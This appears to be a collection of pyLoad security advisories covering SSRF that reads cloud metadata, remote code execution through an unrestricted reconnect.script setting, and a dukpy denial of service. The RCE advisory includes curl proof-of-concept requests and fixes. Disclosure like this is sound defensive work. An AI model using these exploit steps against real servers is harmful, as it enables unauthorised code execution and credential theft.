- Now navigate to Files section and download the link.

<img width="1429" height="870" alt="image" src="https://github.com/user-attachments/assets/9b8b9cd6-afb7-461c-b058-a3cc4f26e2e6" />

- It was observed that we are able to Read the Digital Ocean Metadata

<img width="1872" height="837" alt="image" src="https://github.com/user-attachments/assets/d30d2d74-53e9-46f8-8206-894a275ac831" />

The downloaded `v1.json` file contains sensitive cloud infrastructure data:
- **Droplet ID**: Unique identifier for the instance
- **Network Configuration**: Public/private IP addresses, VPC topology
- **Authentication Keys**: Cloud provider auth tokens
- **SSH Keys**: Public keys configured in droplet metadata
- **Region and Datacenter**: Infrastructure location

## Impact

**Vulnerability Type:** Server-Side Request Forgery (SSRF)  
**CVSS Score:** 7.7 - 9.1 (High to Critical, depending on cloud deployment)

### Affected Systems
- All PyLoad installations (version 0.5.0 and potentially earlier)
- **Critical Impact** on cloud deployments (AWS EC2, DigitalOcean, Google Cloud, Azure) where metadata contains:
  - IAM credentials (AWS)
  - SSH private keys (configured in user-data)
  - API tokens and secrets
  - Database credentials stored in cloud-init

### Attack Requirements
- Valid PyLoad user account (any role - ADMIN or USER)
- Network connectivity to PyLoad instance

### Security Impact
1. **Cloud Metadata Theft**: Complete exfiltration of instance metadata
2. **Lateral Movement**: Discovery and enumeration of internal network services
3. **Credential Exposure**: Theft of cloud IAM credentials, SSH keys, API tokens
4. **Infrastructure Mapping**: Network topology, IP addressing, service discovery

## Remediation

Implement URL validation in the download engine:
1. Whitelist allowed URL schemes (http/https only)
2. Block requests to private IP ranges (RFC 1918, link-local addresses)
3. Block cloud metadata endpoints (169.254.169.254, metadata.google.internal, etc.)
4. Implement request destination validation before initiating downloads

pyLoad SETTINGS Permission Users Can Achieve Remote Code Execution via Unrestricted Reconnect Script Configuration
## Summary

The `set_config_value()` API endpoint allows users with the non-admin `SETTINGS` permission to modify any configuration option without restriction. The `reconnect.script` config option controls a file path that is passed directly to `subprocess.run()` in the thread manager's reconnect logic. A SETTINGS user can set this to any executable file on the system, achieving Remote Code Execution. The only validation in `set_config_value()` is a hardcoded check for `general.storage_folder` — all other security-critical settings including `reconnect.script` are writable without any allowlist or path restriction.

## Details

The vulnerability chain spans two components:

**1. Unrestricted config write — `src/pyload/core/api/__init__.py:210-243`**

```python
@permission(Perms.SETTINGS)
@post
def set_config_value(self, category: str, option: str, value: Any, section: str = "core") -> None:
    self.pyload.addon_manager.dispatch_event(
        "config_changed", category, option, value, section
    )
    if section == "core":
        if category == "general" and option == "storage_folder":
            # Forbid setting the download folder inside dangerous locations
            # ... validation only for storage_folder ...
            return

        self.pyload.config.set(category, option, value)  # No validation for any other option
```

The `Perms.SETTINGS` permission (value 128) is a non-admin permission flag. The only hardcoded validation is for `general.storage_folder`. The `reconnect.script` option is written directly to config with no path validation, allowlist, or sanitization.

**2. Arbitrary script execution — `src/pyload/core/managers/thread_manager.py:157-199`**

```python
def try_reconnect(self):
    if not (
        self.pyload.config.get("reconnect", "enabled")
        and self.pyload.api.is_time_reconnect()
    ):
        return False

    # ... checks if active downloads want reconnect ...

    reconnect_script = self.pyload.config.get("reconnect", "script")
    if not os.path.isfile(reconnect_script):
        self.pyload.config.set("reconnect", "enabled", False)
        self.pyload.log.warning(self._("Reconnect script not found!"))
        return

    # ... reconnect logic ...

    try:
        subprocess.run(reconnect_script)  # Executes attacker-controlled path
    except Exception:
        # ...
```

The `reconnect_script` value comes directly from config. The only check is `os.path.isfile()` — the file must exist but there is no allowlist, no path restriction, and no signature verification.

**3. Attacker also controls timing via same SETTINGS permission**

The attacker can set `reconnect.enabled=True`, `reconnect.start_time`, and `reconnect.end_time` through the same `set_config_value()` endpoint to control when execution occurs. `toggle_reconnect()` at line 321 requires only `Perms.STATUS` — an even lower privilege.

**4. Additional privilege escalation via config access**

Beyond RCE, the same unrestricted config write allows SETTINGS users to:
- Read proxy credentials (`proxy.username`/`proxy.password`) in plaintext via `get_config()`
- Redirect syslog to an attacker-controlled server (`log.syslog_host`/`log.syslog_port`)
- Disable SSL (`webui.use_ssl=False`), rebind to `0.0.0.0` (`webui.host`)
- Modify SSL certificate/key paths to enable MITM

## PoC

**Step 1: Set reconnect script to an attacker-controlled executable**

Via API:
```bash
# Authenticate and get session (as user with SETTINGS permission)
curl -c cookies.txt -X POST 'http://target:8000/api/login' \
  -d 'username=settingsuser&password=pass123'

# Set reconnect script to a known executable on the system
curl -b cookies.txt -X POST 'http://target:8000/api/set_config_value' \
  -d 'category=reconnect&option=script&value=/tmp/exploit.sh&section=core'
```

Via Web UI:
```bash
curl -b cookies.txt -X POST 'http://target:8000/json/save_config?category=core' \
  -d 'reconnect|script=/tmp/exploit.sh&reconnect|enabled=True'
```

**Step 2: Enable reconnect and set timing window**

```bash
curl -b cookies.txt -X POST 'http://target:8000/api/set_config_value' \
  -d 'category=reconnect&option=enabled&value=True&section=core'

curl -b cookies.txt -X POST 'http://target:8000/api/set_config_value' \
  -d 'category=reconnect&option=start_time&value=00:00&section=core'

curl -b cookies.txt -X POST 'http://target:8000/api/set_config_value' \
  -d 'category=reconnect&option=end_time&value=23:59&section=core'
```

**Step 3: Script executes when thread manager calls `try_reconnect()`**

The thread manager's `run()` method (called repeatedly by the core loop) invokes `try_reconnect()`, which calls `subprocess.run(reconnect_script)` at `thread_manager.py:199`.

**Note on exploitation constraints:** The file at the target path must exist (`os.path.isfile()` check) and be executable. With `shell=False` (subprocess.run default), no arguments are passed. If the attacker also has `ADD` permission (common for non-admin users), they can use pyLoad to download an archive containing an executable script, which may retain execute permissions after extraction.

## Impact

- **Remote Code Execution**: A non-admin user with SETTINGS permission can execute arbitrary programs on the server as the pyLoad process user
- **Privilege escalation**: The SETTINGS permission is described as "can access settings" — granting it is not expected to grant arbitrary code execution capability
- **Credential exposure**: SETTINGS users can read proxy credentials, SSL key paths, and other sensitive config values via `get_config()`
- **Network reconfiguration**: SETTINGS users can disable SSL, change bind address, redirect logging, and modify other security-critical network settings

## Recommended Fix

Add an allowlist or category-level restriction in `set_config_value()` that prevents non-admin users from modifying security-critical options:

```python
# In set_config_value(), after the storage_folder check:
ADMIN_ONLY_OPTIONS = {
    ("reconnect", "script"),
    ("webui", "host"),
    ("webui", "use_ssl"),
    ("webui", "ssl_cert"),
    ("webui", "ssl_key"),
    ("log", "syslog_host"),
    ("log", "syslog_port"),
    ("proxy", "username"),
    ("proxy", "password"),
}

if section == "core" and (category, option) in ADMIN_ONLY_OPTIONS:
    # Require ADMIN role for security-critical settings
    if not self.pyload.api.user_data.get("role") == Role.ADMIN:
        raise PermissionError(f"Admin role required to modify {category}.{option}")
```

Additionally, consider validating the `reconnect.script` path against an allowlist of directories or requiring admin approval for script path changes.

Denial-of-Service attack in pyLoad CNL Blueprint using dukpy.evaljs
The `jk` parameter is received in pyLoad CNL Blueprint. Due to the lack of `jk` parameter verification, the `jk` parameter input by the user is directly determined as dykpy.evaljs(), resulting in the server CPU being fully occupied and the web-ui becoming unresponsive.